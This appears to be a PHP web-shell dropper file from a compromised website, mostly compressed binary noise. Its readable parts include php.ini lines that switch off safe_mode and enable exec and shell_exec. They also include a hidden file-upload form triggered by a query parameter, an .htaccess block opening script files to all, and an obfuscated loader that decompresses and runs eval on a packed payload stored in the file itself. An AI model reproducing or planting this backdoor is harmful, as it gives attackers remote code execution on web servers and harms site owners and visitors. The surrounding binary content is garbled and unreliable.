稜mDl]Y)kI_,X"'J|yzF|
Ą BK-ܔb)#a764@]N8SW A~}/G
,-3bl^phrsvjailqї$!kaqeynhwgx% @[ V}|{s7~л6&#Jh:^;s	RjAt4e
/E#q`f)AV5. VIY8 s	#6Ql Q8M"	~9X@h5Q[.̼Nm?dtv޳g_*ݟ.̺)ڥL6ea]hǖ
yY7w
'`"Ƕޖ0FgkFCh-?iXPʅ󱲯1R%q#.ʒ"H=,kaqeynhwgx=n
;Onkaqeynhwgx'
O
~`P΃0	,A@P^A̷XpJNɡ,؝^1z6]dN`vkuޥ3f 
3T=#y.qӃ!=YayY$Zľ~LV.5	)`W)1]phrsvjailq_C6v0`C_
ڏQ(e(z[ +ӑUSZs%V 	7
UTik,۸!ByA92R!'` }NMk8q,\j=6`˥qe2H5g]y~7M=ް9sb.+eI^@t/:;m
qj0mkBV,}ytuZrdqGLs,1
bZ֙~)_$TVL/bKMx [~Tǅi-zarfk9
-չmhp}?cHζ^qҏ`dkTV LL}k_x1.xUI	fOöu_j[.܄5n:eЈ3B
pPj;\a#2-	}PXo~
Urphrsvjailq
w35y	ߟlBnOm]e(a[:x&X6Cphrsvjailq{Iqd
x`9`m*dlhE_J6XZ~ 8StH#{tILkaqeynhwgxo~{11u\cetͮa@qlo7йK1
?K ԋ=i@h5t[;]V[u34UK@H"Kwz/5БV=c+VwvqXkFE^ pSWnߵ
&/^bIA"hwKvyVH,Uca'l{T+9*R띬znC3[Gd3&KuJ+g^j&%rkez4+|-{mq&B-_,))%-phrsvjailq?;)Ǡ졯BB;}5`RYh{Ckp[0t9zJ=%b@-cFphrsvjailqmGQL U|O+f_~Ot]Rg)DZZkt|&O;0"Vvp1]6yWޚ~t9AC%;Jphrsvjailq
  4!/Vlx[R(eeę.5'psŖgsɅEbסS
	7IgLlT僊[f]yܕM#50yT,$Q*2Q;phrsvjailqz76cHQ1۔ZvzkCZecDпr~Lžq,'[j4/ Pg0kaqeynhwgx0kbDqu|α&JK5a["!3faxkyNTsJA&lP@1޵' n4"l:~FVpQ	:{^.}:b!퉻e:b}W"mr?Lv]lyj5iĽ:/@rHtZX#_UݗFL9bH9XVV 7C##]xw7~ִv8;/N+Ѥ7d]"3?phrsvjailqqwx&X*%O'(KEpPk~h+AWϴi2n8]HlNkI mqrũõHJ4:q{7l	`f[ܸ0FFP8^(]W?ZswcRşVQc=oA4däS8ǯphrsvjailq8g:kaqeynhwgxg]/cMy-T@b^{A^&7//jᾮUkTx#oUkj(EVL$*4^X~jN^A
IƗ10Ld86KP;#rO	.e&e_2E$ĳ%yzJ=a~I\ǱHO8_)oϻەmtSقew@WOxCXzo|ecE.JCEM\^!6ґ*#ݼՄph V@Kl(*3E%(}#,kaqeynhwgxq9cDe0Qpj$4^kaqeynhwgxN|Od1-ٰdR zrQU;/ kCtD0#+ĠuF=J'@eAl y'^G%Y,;B=S`9+v[d+&q$q2 &H(Ա"E'A !+PJS/t?])QثELAakOEI-iXInTl\kaqeynhwgxV߈^Q["]2 cb֞;½߯@ƹ^"iMmU5&7d\?ƵXܠzG^x&Y)SXeܷy*6J}LD&pm ynڦFn#XN="Ws=β5AUPdH#yown[kеEJOvbtT7S?{|J)^v%g
[6txir_ii ;gxR_yW$@APwD \+׼O+kez)uM',u+5jKkaqeynhwgx*(g4M.^8ug%FWwt/5GN#mpxw͙ *W
yj/Jm`}qv+:MޏXuf̎xGA9ݮxn8߽'c4zN"Db~N	cX}$rHUEszg!C}eYM"*WEx4I^K;'f^/G	%t1ϯ*%Jј*?1+bnu_~}m8zaI%/bwϻ1vXk0YTK5BpY" Lp5F.9^Q.^ikL\:[}	egf
4s&uf
uFd0Qc
,(@1cD]vf1-	6w"'ZiFz$:ثo+P_;Mz0[9o1LtbaQ:Ჵ-a*cRiL9-h:f'If鴇37KF#R*_Af(ڜt~CҪJ|U`bU,#Xx:MK@IyoZow56Wr^]@
(]QSQ]-=.i*@qQa*!H")cdp.yXՑedphrsvjailqn9D!|k:g Kg˯N
h*sR獗L#هC921L*x	I{nvZhA]]:}%l[:CP{r+6e@2UTH@:ד VSUc3JPy(s]ӎn!Eb{LdyfЛ՞ֿkaqeynhwgxMKt]g#77fw+(phrsvjailq4Q766ъrdc]g|x	I[f%N@uGV-~@}Mߚ(p%Ew0q|RٙIeIxɯnTTGA˪-.F#gz zIb\NOw'AHypZ	;DKJXeq_
S7ԵbkaqeynhwgxyiX. qcd2ߴ[%#`׺kaVjQ~IZ=pCͲxt(ϥZLЉ6u5벀4`(t"[
'	Eb3Wb8s"XЊCr
ծ Znz|©`{ʟ+϶aTiphrsvjailqװ?h׻/sP0h)-PUT
h
Yi)62ϚNafZs;h⤷Nr܄;nXvkaqeynhwgx
phrsvjailqY9s7w'FDmd
t(6RIo|ښ")^"Lxkaqeynhwgx, q3ַ@!w)jTphrsvjailqԺIOa*#13֣7ʗ"H6O_Sl7E^&̺9]VxgjʼUMhvWBŞf?G}p_/
Y $џx
HAΐHkaqeynhwgx0TYӃbV5aޖyz=cG-%bǋKNp`:oqfWupJ*1J \phrsvjailq2XŹ=lfRRtR"F
e )5@k^:x
ęn]+/lļsH[g=N^pjelNwp塙v,	QPgId.eDqvRVe5$51÷() Jx|;᡹2.4W=جkJՇkaqeynhwgx@߿_Gsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$XzDR='st'.'r'.'_rep'.'lace';$yNqs='fi'.'le_get'.'_'.'content'.'s';$qEbF='gzuncom'.'press';$rMid='subs'.'tr';$QcbZ='e'.'xit';eval($qEbF($XzDR('pymkarcewo','>',$XzDR('iphymjvtdz','<',$rMid($yNqs( __FILE__ ),-35944)))));$QcbZ(0);
?>
xTǒ\y+ߠF+kZ88ZN-txl,w?R?J {~G&zߧ6(O},ϴfls-,eZ_4O-oZfpymkarcewoo_z?Oq$@
bDdC} BQ-ݾ^--OupymkarcewoveBeR)URq'RTE;:8pymkarcewo\w[[5X2*Ō';)R$celUƖ7'q(%Pˏ9ȵcjbhIoTn p=~ٖ -Afx\RiH`_c}hZ?%G~!EWk؛/С܀_kYiphymjvtdzjdGi}A
J+讪u}B=p1
G4׏jz=N`B#`iphymjvtdzfk1pymkarcewo;_}
w~0/&%!ؽa玏,a&:6	H6/q9,y BzNSS},
0&YGةGQG#JEqrpymkarcewo"JH%ϭ"jAL#ddS,/P_ʬFIR#Fi2O)،,H pymkarcewoI(`D"Op^L;
I
+cvQEHDpymkarcewo9iphymjvtdztYvg*[=i;FnV4#vVrowvZXs	Z!
,Gp{,`UJJ8 =%?@uc9)oƨ{vabZgW4A{
w4&|fEdc8~XΠ;X+)1JNuĶ_%fӕ{R{~D|j%g'?-\iphymjvtdz8Y=` Phpymkarcewo'`GgambhJb#Kz ΐ| H%pymkarcewolm_Ziphymjvtdz|,&ԟcz{j4?1xePbYp*Hc)x;Z{(03fpymkarcewoVi:PyS]@epymkarcewoht!΄ݖ_}2")S=0ic˰gZ
ÍJ[5qXpȬ3b4s  zÆNʶ"M63l-88~X+
$uQU7f4ۘd. (;$mbB%Q{3CgV~ŚC?	iphymjvtdzM_whUpymkarcewoYu\{8uWkGX"ůأLɮ%E?1!$ܘtL0 pBPK
6g^e{ª`GБ"臟^  pK,K#N"pymkarcewoe1hF$} %@K?K}I|ܱLpymkarcewoHnT:XF8mN"vW
&0.pymkarcewo:]xS:![ǿW?:wS"wI3lNv~5;y .rݶqEÇ_rtKn6f
I:,"_RbUr1Y`?"'gp:(+bz Yaw|8C!*Bh9V
\UNћOB0mQ"H;#TK$Js.u}I-G@/.?:̏S˸5П5:!/XU|DX0Zm+Iy)vz.S/;.ZiphymjvtdzI*F&q|ZqE8ܳ.^(--;{0. ULڙ5św!ԠqY@lLݶWfn\a'#
(d!pymkarcewox'sxs"D
Qys+eK)6c+#ُ	(-.J@4QD"Z?r4iphymjvtdzӾ
dY2Ckpymkarcewo~vy-2*RLo-Y_FJ"iZhvڛj%RO{k٘Nf0dc&02}ڧ?muZRHu: S&HJJ-_@$Z)"nj__lq?k%a&H ă$JA7pymkarcewoogxpymkarcewoyXޒ韱[{Q
3㭼pU
9v(agLpymkarcewo|W%q(a`|$oT҉k{ HlׅzqFpymkarcewo(X3!Wy}Wa9z׃ݒCBF!~~$|Y{AA.;9r7?03MXz;CN4*`Ц51pymkarcewol$a-SiphymjvtdzfNan	J(eUd®S	/I*OR	I{d,1y"U£Z'rߴd^(\B#0OTPlQyl1z74.BԂgywyupymkarcewoHπItcy=겓(dmIAJ/@O$f{lǴbɶ0Pt"d#ׇP ]S*f檢D-tQIO):{YUMRY WQпeu4nV-R},Lq}2FU1(fP+תO爝D0i]#I0iphymjvtdz{4N6|7
J=kqFoiphymjvtdz߄pymkarcewoH5"Ym!͠߇hE7/(VXIh0egWUгŇӋ~,"Wދf۹s:	Sc]j3m`#@ V+~q;Y)w³Jש#Ɠpymkarcewo8N*oqzf,a}ュrK2D2r3ڞrg9l7`vJzAhoA`@#Gk䢔{'gD2g~:NI|RG̒-Q7Il0t}&BB$j#
@gHYZ򰰧cRI^us
k|sccEj^~ ~č~p07N;kެvSLR?҇/mv
*ruv|{o=#~޴ؐ(J MP;;7GOCYͼC/@WwXIqw
޸ Pn2z]
[\](TTΏex.
gcy'P0SH7.],5 F{*|o un3/bkZO)5pymkarcewo1
9(Eh;Z ⩺(-_ـ-_J
*/.ؓYㆋCrҜWzWKۖiphymjvtdz	9	sk7G_\369͐r'|`
x
CʷE1Y⯟f˞͸.B4*MWzlq)rVchϭȁiphymjvtdz7vV,6&ШT%05M]g9{MJ0l3#/;zrijvQ;&Ҟt7/fCװ
afDl=sᐃơ%k!OBno׽=vf[iչ9֬1d	S:Xkrn$(-{C;zR"G9˒#-Z"3x~Ņy[8pymkarcewosﬥEsE&7YݘЉVQ^ڿh,iphymjvtdz+ q!x^p^}A.+b WNU/kBIdEԢǮFUxg9:rH
*!wG`x8VrJ,c
B+(y鷄9pymkarcewoB~z~9\o^ͺniphymjvtdzS(.$Oc]4*:	R|}hSb!(Lu1qk4E`Q̕3J-*9"Əբ:!:?e̹.S23lP[ͶKVǤm,܊4ta~
+K/izviphymjvtdz!(Ϻ#iphymjvtdzDlQ0;S,VQc('$m=!T?VFw|:0Զ{yKfbRF;!N2OB!i	{//xEǗFIzڽYZQ/PGR
UY݂5!
?acuXHtq		қBxlF!aThIu2J(9Bvd,7Ѯ4v_0ӮY
P,!߱ xN
jQǝ^gT:4D?QUf9+8 }iphymjvtdz4;avpymkarcewowHkJvМi9iphymjvtdz;4sG. ]tph

$af[;m#D3?Rj
Z+)/Y+M-jk:VZKQZ_ކDPt%iS(H3eB$LM)Ng#W`9R`FE1=֞-CO_%ڿb}9^aOtaTB,'7ޜf˻31
tYiphymjvtdzMwBPa}]KT^`aiphymjvtdzE|\8U'Aej)!O
?5[s
C֞/9vTjϧ$g9&ʯb
rd2l" Od8S/ɶVAH94ÔN*L_e-mg|q	
J`I1UaI.ui%0ɜd;?E=9hkX~i(O
J&ՒR
"]e{S^{T 70Ȯ`O׆g]gqhApymkarcewohv0P0&To! Hȿ`Ȏpymkarcewo[߉oՁwSpymkarcewo-P+ SW05d&"~֯$]	?4jVC,lcaӝ@S,n~[Hjaiphymjvtdz5.^홿o9Kux$OSӤe(cW/LCIki@Q@~Ώqgq"upnjjiphymjvtdz񜛭$8v~oZg6gWn7@FōD|8Ⱥ`e"?`D6ӛ:7g57^-'Y-Cb.s^EDw(Jg,2d*+Jo+[t']tsx:sџHUS"[R:RNEܶ"xrҍ#jSZQ^ݽ6
LU軎w*1+蒔LT@V/[⻍#ܠ#Z)|=^W%d.jI_FJ_FeN')F5ɬ߽
^hlDlp["@n?
G;.]W;­ޠ.D
VL  ʀliphymjvtdz}PxbC*R߄t
8+1V+l?'G6!=* I^`U%
~祐{cunfX3qȮCd2DAZȓ+ю׹rpymkarcewoSdw'چ)PV"ip%9ӟtDe;[OqYKelL[/?=(BP9NeVĔ_J,
)eWxߩOr.ZȺȐna:F[P/ƻmߒ"bUiF pymkarcewo/+@hGk8"JO+yERm	)aڈCN]:Sqޣq4b8sc-R(Eqɯ`EiP$)M:ٍckB$iphymjvtdz1t\Q!o&"qRf;5 ^S
FGʘjc0-9ҽ:8+,0:m|:aѱGX_c8`| .%0"
PLaƫ/'G;	7(/oJ@	K/ \A:BoC%pAx#":^/WDb+e]2A1~@I2_5*:N*R˹+1Cӂ( *)9`dzCFq=
g:4SN+xe;,XꈨOfR'5?Ex֤$u]ZHG0W!+7IaCҥ,!r`ϙ.]z@96]-:΋iphymjvtdzo/%kab}T|T[Þ3Ka%DBH^BkH3.9iphymjvtdzT_P7
,͕E}5LO+O"'r')9E[[b ݨ;v|qCY9v~'ۮne?3b%~K
g1
.
8Zd=iphymjvtdz0K%i\DK|w_Y}} PjC6ǬbþtN6&#z2&孿vE?WIX)pymkarcewo"-\(֞Tvճh[J|M_wfAVhaʯS_3%PH_K3Tv[[{2Y(0|Ujx`j^SYnj(}(ŦZΉ=Gygv|ʹFM7*~F5`km	C^%_z*)v1w]ίsiphymjvtdzOٝZD\F`Y=L̔V:8$.lmDS$y׎=I:*ig
gwV2MGR5W$HowhږGyUGiۋf-62,7/^boT@U?7. z};N"Qbg`Aq
1pYAX?pymkarcewo93ԙCOkdT!SyfނA%/f1#-qcn
!R-Sy[Q}W8tZe%jW~w*]~%qN5/97aiphymjvtdz$c
=ΟojԈ`VSOĠzщfWKY5:X#aiphymjvtdzx9am˙.2zFe%.LU#5	̄V}*ē_Nq9'Q~,Y;ϐ5@M9wZMpymkarcewo cz$:E)r+?WhB-ֆbydgL&Mt,iphymjvtdzb0 r#o쁲s]}Rxհ3~
ghU7s קYǍbu?JM'OiphymjvtdzpymkarcewoR\GQ-`ݭ6C/ZJeͿr:wWfZeP/qr#FDo*=ܩ
3h_7福(a}`͑' +AgC| fu3
~YXkՑzԸCVڛl͝yE%_us®;~|m$(OSMI;wߧC|Ѳ+4uxgw!p!1`]I7!ܔnd?˺SUzoȅY(hU[AWB%KIvRa6²詨{Gcȼ&%a#y ?v+qU@Iiphymjvtdzұ
Zw@[o'Z}
ۺ=vsfUJr-vp/&?6UAٙ&tZO~Sﾂj7Nc 4WBӨh=3F]l}qcꖭH6^64H&rYiphymjvtdzCqgiphymjvtdzrݧK+`tR|1B=! U6~|%QcOR#ClJGG~!3jcc	-&`o
Ӟc,'XvX~	MdO teu/}0B`+`[uTk
_id}ܰJq5=pymkarcewobz] ^tr̇pymkarcewo7}-B.@"
LV&/ 3XC;?N&ѬB/1!f&E7"m
R=¯kۛ4lY=ۣwiphymjvtdza]u) 	Լ翷`0ңgh5RiF׳2mjZ.U#L+K(ST
:-)Z'0	Y[yį	P@Tvu\@S|I:xWUq4@QbE3rpymkarceworxm3c1`_Odf yձE7z՞GtZEŏSa1U1d_bƈʢ|+SnLN=jAz,8&Z1^_.&x*Xƛ
ߚj}sĖp}5lIn'I/tbۋ NwaD3wMso
}q
	x8ЕP&$-"ۿǦd}6d+ ) -*ׯ#8KS(Y^:o!_lWa0VhJNg-3`
LuZL f,I	\b"ky1-;]0d*W툸 qtx	?#;o3_CbCExȱ׏F`-hz {̖7*Wzt:~]㫗}Xs_,cB,&n7bެ;{K?^4#4_}֧-ufDZcUiyB"Rہz; 2~(ʓ^^;Y['hId *)_T i&gb$Sz#!
*rqe	K1aY'v@֘qsYJAOam I̴9۵#C7eӞiXTOC-07 #RɚRw,$:SS@ae'iphymjvtdzN*]? ˽Gs2֍ΔWzyes铋KY#^)80hzoODW40zQ~kl~ȸ^OI-"Z"T;S@{YNY	V"%OK~C/-@-[Ls4
WO?]_@C!j]ą:j'iphymjvtdz-rE{4M#ZBx:ͶoJyy44i,Q.aaB{|j-%d/oMbk
[YYyTXD$/92pUnA$y.bb"i"p_lׂ:;"6zz#OD/
i0l@'gX
Wsȳc;Wzt5 `zͼOяС+
iphymjvtdz Dx6-/Q?!_J_xL!=?0(nYCh/_m^;}glլpymkarcewo0(,t}
\1pymkarcewow#YO(,2eۛ6K,\2װjZzڦM nGD_ˬ{گk|o@n~RAR=RR}߱ff
i\(`$.%UH3I${a].Q(^؂[F&¿}ͼYK S.Yw@P}/-SYj Mo;~KFDH؝cj TߎEJ8yf[*.oA|vź&٪~wIniphymjvtdzUW8
wnK_,2'H:+tu%[~U7	iphymjvtdz8x۶ħ@yiǿ+"g(dJ
0Sp	&j,:	-pymkarcewoa_6yxJHFOL9tSpymkarcewoooq*_w 6ǟɀV.1;Hc=D'ɊEeu3yYm+Ϡrru%tDYQ)@I6鈴 퉺pymkarcewo䎋ũ%L\szT/1ݕ\pymkarcewo	?^cP}BDGEf$V
[f(eHDg?'V:`9ĖB#K^娸\ OQ`W_؝+#%}lAp^iC~"Fp\f/iphymjvtdz C#,b0^n"w)^lmfGp1|5v=#%6eWPl]!pymkarcewoL|,k~1X'Jȏg}~&3=pymkarcewoD`~e[qD8f4YotMd 
;3gT|-
[4F0pymkarcewoc?cq}45Q;3c%/Zliphymjvtdzv50^۸jUl	/;e4;?pvxQer0F,y!$eu5SOL\#oAP`r!\giphymjvtdzf;B: \+JR5Mf(یl3Sի@7EN_Dh@ǚWQ}O÷Ov@1pymkarcewoO@(G	]pymkarcewo[P7L1GYŨAx,࠙=}_'GiXl)CHC-AE^%]Dj0' W!JWzayYֻǌ9ʑ8{pymkarcewo+FInrA"؜})aJ@LtLxo}=ԄGeEhG&
HWKtiphymjvtdzjw"pymkarcewoͪ{xY۴wb fYI,
1d 6B.` oß|`C}(^L).ÛRyJAɒs

-ȬU3aUbDg|7fμx߀޲xW#|5MİJq0k~hՓ8'ΙHl,Y9V}?qz+~ph4([A)D3twX'|=ONJgK*6G&./_\P|v|SSDebPo11ɮ^sDdߓ후wǩy c9PL1wUSZuE`޹˯kƧ.#m
̦U8A͈JUd]mSd]/J{cg;opgUB-^bBz'nwY$aj	+ W!&"G/pymkarcewo=5~!`x`]# aZDO;iphymjvtdzۛHH9.5ߕQFiphymjvtdz3FKgmm=؂r+[tpymkarcewoL.2B.p!=pymkarcewoFɊ`%"xϸ6·֒T=PI'c#]C-oБ, F&G!oP'
wUlt2ޓd}*MkmPRhOG$
ϻ,(wn]	P.p,1Q``LFpF5##;seF0Nq8=Sy%Ȗ?Tj
ݭo佊=Ps"^
?x&	c_;B[YN#;_)=lnS1}vg߀H[QM:96E_d!.Ćiphymjvtdzek+ZĘ_lx]~ 227rJ3=[\iphymjvtdz$B!jd
t4VVs=pymkarceworZ
nHRj
}+-6c":µ8r
և
O.	m5\Tt;FOۨtaxG
t1=Txiphymjvtdz6zُ5t:͇~GBǶMv夆BCcSG8{ZOV:E3%O*ԀUgߘ.߼F;ti:K6Ź3ʁ3+=*iphymjvtdzF[x
H×K;|WWƜȽ}qPܶ
um~yNp\MM"EDdoZˡ
l*brCiphymjvtdz/SSGfSRO| hYafTׁG-Njkuiphymjvtdz|it.:x1#őUUˋ%ܮ|\+=ߴb228Vq+zh^cVBVɳPT:r8T^;8I6A4j{ՏN|ۿ|Bz# ךps6+pymkarcewom@Lu:nOS_
)L {N_f#Ѡp[B3YB h@a5
E//k/|/ñtm@L:u)o'9TRtx}iphymjvtdzcW-phTGjô{CmJ	~"+sAҕg
d|r5lϻ3@,ȵH@0:3t5\b h3tcAOQ
,қgT pymkarcewomQ|7N
	gʔix}z\an҃ Ggt*&D)yz3I1b)/5 oc{=t&XlXl.cq!&OJݠ}#zע#[ڟDaIqpymkarcewohM7l#}ME8+8t ;n$ 
ݟɐop4tUj(jʧY*w_}@צn!cUC( uLpymkarcewoG8x!.JĂlT508uLejRu甉&K2}2G(5Rrt=]!2KjX%q2	Rћ&B걬c:_MgMTS~/t$p900㥺CbJTϘ
')ZKڴ8uw|3@(d֫.aSߗPSTJghF?	͜c+&.aBA!@B^O"g8hQga;G9c U$iphymjvtdz@O@}kT/ڳH|{8XWw9IzG4|޸@R7~5L꫗GK@:K.GVd`hJVnUO
L%xޏ@y
D`}uwZ
W=w5V#̴EF紝on)	pymkarcewo,\x#Xw&Q& Q3w$nH	nJz)QA	ՐslNǪO/o(iphymjvtdz#H¹F
]	
[vpX= *u(3%Re{c@՚	cދ)@_ǮiphymjvtdzIl"E,˅[C'j#?E
't:_~sMie7tҒeUD&	+8?BⱲs-jI˵@N݋S$u%'-i4k
F0T"wt˕ZpymkarcewopSiphymjvtdza.ʌz
ZRa/\!iphymjvtdze7ZBrgjGpymkarcewoP3LK胤}e?#[V/~RO;?3+B-ڳ",wkOwgk{TN98Gzr?0a"5 !|C^ W'fI FCFDjY| O8UQĂ
}
{{0	\#HLt{uk4ȵ2ء({:qԷw]VmEeL]/7v( ;,cjzF39{~u6#^GbCʥ|ZPA~K0ƺ#@^iphymjvtdzM"uXǔ78pq:2Ќ$ 8('M7LLz`pf"z&,u6E'wlu^B"֏QIFw&1ŭ:fAcuPİ{+ꯌVjfvUA|WyCJUB 9*K-:]n/263h$.:N־`րbiphymjvtdzKPʘA|\עj%}rҳQ@$jEvAW?6R3EЁ~OUqbvy|N

+eh g80FAo.jQ*&1~&&׎, ؙO
)yG%' g_IcZ,Ydz3.]w⮊)qGDy_9Zձpymkarcewo.|LN)@׈3[Jccȱ-16`\j*UJɍڶΦWhM8DCЛ&vpymkarcewoUE蓕rR-82۵6tpymkarcewo֢Sۣ	5S,R4ZS2	pWE
~͹15YJ eBrKe1RHAҀ$75'E Z/ϥ6JxYoў/Pvੴ h%&XB~.%R[jɸ'#:@i
'LiH[2]/e|t0
x#z ń:x4rjSKŷc0vPw+YdH*y2dGKj$^:~|Uؑf8P̹vU3pymkarcewov24gx#ҒL
Q57;H6pymkarcewo9¾,
]!"bֆ!#3~ۉfbDK	؛=|/+fJUFm&*͔;XånX@s5^Z(fo9O}'*z!ǆ^ iphymjvtdzڵa?3HZiphymjvtdzQiphymjvtdz׺
kn08JۨV[~uL*.@9b55}6=%
B3S]C	 ,}EX2#7ʣ"#NwɈJ%|Ƣ[7(ZڏžY"wu\?܇}".ʀ1{,i2twJۉm҇9P}搌&	[736Rg܎NH	Dg+z.5_$i}COK3K60IWo(HVe[D?m!I,@$_vKppymkarcewoog.Ek*/қ	o$D)ɛ}
z-k˗KcO&A=MeGs#=wDObQIO*[͗Yys jl៨*c ˒ۆ.2Fvծ+9ز)Ut[pNL3PƋ5Uscߖ@vwk֪T֫@RpQ}FqLLF[$ωU$QVXݪ-=D#=_lȅgSHFX+;=BpymkarcewohFzJ'zprDNJKU;|X;cE"a[=zf@|Z8*pb'Pupymkarcewopymkarcewo#
s^P5Iiphymjvtdz;20jQ Ǿ2@#(rZV\t7MT_,sZAN_l?Ы:[pFvKo	 kzIW\%оo&t,/1$n^.pymkarcewoT4.pVGAWZWB}Qgc |dV!(pAk޲1^DXxpymkarcewo1RyKq/sTSh\oՊsҚ𫤀-LǼ${
zPQxiNa|a-ơ!ug^DF"cst;gڏI#]z߿߃NdF}q-s@SXu
^-B*
$nTˤ4Ѵ?]KlRSxKpymkarcewonG+o!gGdU\B\ѮMsZOհZ) $iphymjvtdzhsRE5c0#}buՖ'm*~W`t#pymkarcewoU&C$BW6OzL
^¡Q1_dڑ @tRp'8Xr;@OBA΄7c")DJ]0 2DfIyyׁg8?ذf+'HMiphymjvtdz7s?n 770HaVfdpξb#&ig5&\kŨ/%7V.	%-3;uwWQFk]mNb|nNKiphymjvtdzZiˎ
~2 M/PC2@z(hS9,QG3:=A3e2%&&aaGWnsg-#&8^Әtr)0^iphymjvtdz06),,_pyaԧ@$
KYٿb5Biphymjvtdz):P٢0
M{pԚaC-אn^EfV]ciu=$5Jb3/Wwú{_bAltBjl72qEl_ΝvWLMsIgj燄XPJPiphymjvtdz+uʹGS2v1cȴ+~Oc	r#fbf~?]Ҋdx"déЪ,63d7JOw?7J;.s뤄zpUW!)f~%6FWpymkarcewo^h*Ww!?={o1y(ܟ5{ēcdxeO6ؑVpGY:v8'Eoj{p
k#U[[{n +\
@yr2o@no=5N)7Jc0pymkarcewoq"[bpFhS.[rc_,W[Cӑ\qd_{_IUx;;)֍5QQŊl
Z8hp,0P/zS/Sq!AWov۴!CN"](_xDW9õ3|^-uc`6~߾d48#VoG \-oL;BI$,4H~Qv}#Ye*$}#\=#t͑hмPI1#ȎICpymkarcewoAl#&u\|sfD #lIlƝZE:	ɰ+qFpymkarcewoeJKv\-&$,J8UIq|ضVӰZK&fgb { +E(m]JKFRYen}SgDSi+4ޟI)F~u*_C_BaGST+aiooӿo~#ծ k1!.SHosUäۏ b瓁f*(:K{~*EMߚ{G?35Y60~٤oY9^aagFXBz'#
0om	y}"IBv0.5"]N	))0EgzxI)
	/Oh䕥Uдx|1yE=ݦ@~nő߾mqz䌯OWrPt(d񊏑T,,CA$KP߆
 ͩkмP.
'*V0ݨ$¿OϦ30,0iphymjvtdz?qFU@292p
s%
5q3cfkdx7-qڧ \jr\mh#hgvo4eB􊸣Q91wl(7QbfKL1u]'vHwW5+k G!-sLHǐ1,.;.캰=wנg/xj$o2OKX8R!ou \14u
+V1 Jy֤KjN.PIiٖ:נ XF1GV Jw?&W3Oa3B/ #u@"Pn]i.ee`2.q1S` 
-?243~O"G40t^6]`Â+VWk˘]SIAV#{D(s^pymkarcewo69p&N,	&͆p6G}fWd.ϚD_#ur 
p.=SS\Yg_~J |i42[mnz|EpZ~eyj &=M4h8.Ō|~GYWpymkarcewo6|g~yOe
XGhCiphymjvtdziphymjvtdzL2@+5fMuCʕ49!.kݛ5zY:Gu͞f/pu+Ee16v6YX!c.-}inxۥZ^VQd?gkN.d#Lpymkarcewop =~G7D⯟rSm|QQFmPIڙ8]-ys~(SqsѺ
Kh7o,RC%m7y"%~I
M2'Xnni4KT#mlr8CFo8'uvm;XgYiphymjvtdz*&3e	0Zbaiphymjvtdz	&LȫǅoPὥ8I{h^T	#+(D6M7EZwp#sj^2%萆ٗ&1*iphymjvtdzWcW+5Л~&؉V)X gg No
^l3JKj~Џqګ	2_Qc/p/Ǣ9Fo= /īpuGbR}ڥivQg*_BZjKwqXɷl4d[lǶ3-/}/f\{ʲY"7G?༁Eh;t
I䂼1w6DxmVv^Վli=;K  !Q˦/8vYpymkarcewo:9oӧfd+;Kfiphymjvtdz){Yo`36KuqnNuLI+A&,.\)Mw%3M|(&Z˩h:@n"#v!Qi=D;VZiphymjvtdz93[@ߊVCtu?@nOɭ5p}qxlPt\pymkarcewoT(@3tW=y:|x)
i	ύz~*zUiG0 0
pymkarcewoTpl_lXTapymkarcewoc
(=ϿŮ⏭S𰤙PdYǕ^Gpymkarcewogsh
42'fg4O^XSA񔼢 K዗*6 wq^hX~xD:κ_R &[?͵)pymkarcewo:%='j'ɾ1iphymjvtdze1 -o:ϡSRr*lBVj~nt!ϼlu| 	BM1
/}Y։ts2L,
01=%.,PE[-_]2բTKf*("_0
;meD-XGsy-{?n gMJhUkq{n.d&D;q5WFDYl6YeSw c%zҭR?soh_ϳF?+ .ZqZ)y+	+܅Ԁ`ZJbE6jY2'{	qӣYqr&bm6mQVyެ^Ddkz2NqT\~
a1-^!Qz3S(m#(CMԺmBf4l%@O:-Z?@DoGvr~\b81=baMqv$݆AW[]v6zq

}q7vPR(.ϘT7N&qAg:@ɮOD,Mz(]C)1D_sY_XBDtWN"d
8үֿv@_U&֊sI܀M [+m| iphymjvtdz_QߛB򽶊DAl1IT὆V o[m)3C ?]Jj&d;ށVpymkarcewo]٧ηF"a9i=fpymkarcewo]u
ؓ'$q'd7ڠFfEN䚽,j	:`{d.w7{YZt1 `J
%Iw$c걫e7~KmZvX^!?6K]b{Cg_R:D2HQAN9Lf9){4?emi'?A|V,pLX/1ha(U_%``daZ|iphymjvtdzA,q;]kLI/nG$~)X/eAH8lwt'Ag6 
Q*;SQvʝ~ӵpymkarcewo"K`H#|\V?VucڪTzEoukжzߩߢAec& RwRC@yH˟܀/G! I$)3		Xpymkarcewov{Qͽ[?wOV{ivp ?#h@9uYu2\hD4F}8R9i]$ܛvމH֟.pymkarcewo1e%f4yv֟|/9Uu[_ͪL uXR@|,n(GJ\7ğ5[6F,& yyaX|SQW6[4抩(J
X7-*5+vM,!9d꣦1	(
bW70^V`C]#q+G6O2۷ͣ'^+	v&kyp8LO%iphymjvtdzU}XJPjbovWrЏ5X5T23r=RmT~yG#Lxzc";j8X.^SD/CǈL[xcI^[19zm_c
 JwS糽bld!)xP!(dɰ8cCg9$~XЇvx0i'C6m*~ 8EބD5?)ŃjzM?W[gJ-!5j.[QԼE]#`"dW瞧[Mgf|^#χn1bT7j
31(tˮ|_#qEYBf%?%24ǚ#h 2YJ#qޝח@a*F;C≙Ӱz=9&x#m{XXkƟc'H]ɇUͪ[A6uh&6`w}˥`^|'eA_q;sTu$`tK2JeWQ"",InEߺm(tDhOyK
ݔՑ'j6\E$il6.Ae?R3G"iĺ!ȰBS%PoERDfdws0_2AVl	CJQyCpymkarcewo /rE9w$G{iOiphymjvtdz;&AHu"{R
h+O2lCa^`E{U)[-pymkarcewor!mЎu$Ye{%&ykD92krݨDTwQē]Sy3kϑ
zS]&yux2qľJl7-xr4׈ѩz $`s&|1waэ+{%K
